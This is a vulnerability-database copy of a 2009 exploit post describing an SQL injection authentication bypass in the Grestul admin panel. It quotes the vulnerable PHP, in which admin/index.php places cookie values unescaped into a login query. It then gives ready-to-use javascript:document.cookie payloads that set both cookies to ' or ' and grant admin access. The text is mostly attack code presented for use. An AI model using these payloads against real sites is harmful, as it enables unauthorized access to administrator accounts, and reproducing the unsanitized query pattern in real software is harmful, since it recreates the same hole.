Lucene search
K

Grestul SQL Injection

🗓️ 17 Feb 2009 00:00:00Reported by X0rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Grestul SQL Injection with Cookie Bypas

Code
`########################################  
Grestul Sql Injection By Cookie ( bypass)  
########################################  
Autore: x0r  
Email: [email protected]  
Site: http://w00tz0ne.org  
########################################  
  
Let's Go!  
  
\admin\login.php :  
  
$username = SafeAddSlashes($_POST['username']);  
$passcode = SafeAddSlashes(md5($_POST['passcode']));  
$time = time();  
$check = SafeAddSlashes($_POST['setcookie']);  
  
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND  
pass = '$passcode'";  
$result = mysql_query($query, $db);  
if(mysql_num_rows($result)) {  
$_SESSION['loggedin'] = 1;  
if($check) {  
setcookie("grestul[username]", $username, $time + 3600);  
setcookie("grestul[passcode]", $passcode, $time + 3600);  
  
Oh damn ! SafeAddSlashes...our ' or ' don't go! But...\admin\index.php  
  
if(isset($_COOKIE['grestul'])) {  
  
include 'inc/config.php';  
  
$username = $_COOKIE['grestul']['username'];  
$passcode = $_COOKIE['grestul']['passcode'];  
  
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND  
pass = '$passcode'";  
$result = mysql_query($query, $db);  
  
So....  
  
Exploit:  
  
[+]javascript:document.cookie = "grestul[username]=' or '; path=/";  
[+]javascript:document.cookie = "grestul[passcode]=' or '; path=/";  
  
And then \admin\index.php ^ ^ Auth Bypassed ^ ^  
  
################################################  
  
w00t Z0ne - InfoSec Forums  
[ w00tZ0ne.org ]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Feb 2009 00:00Current
0.3Low risk
Vulners AI Score0.3
21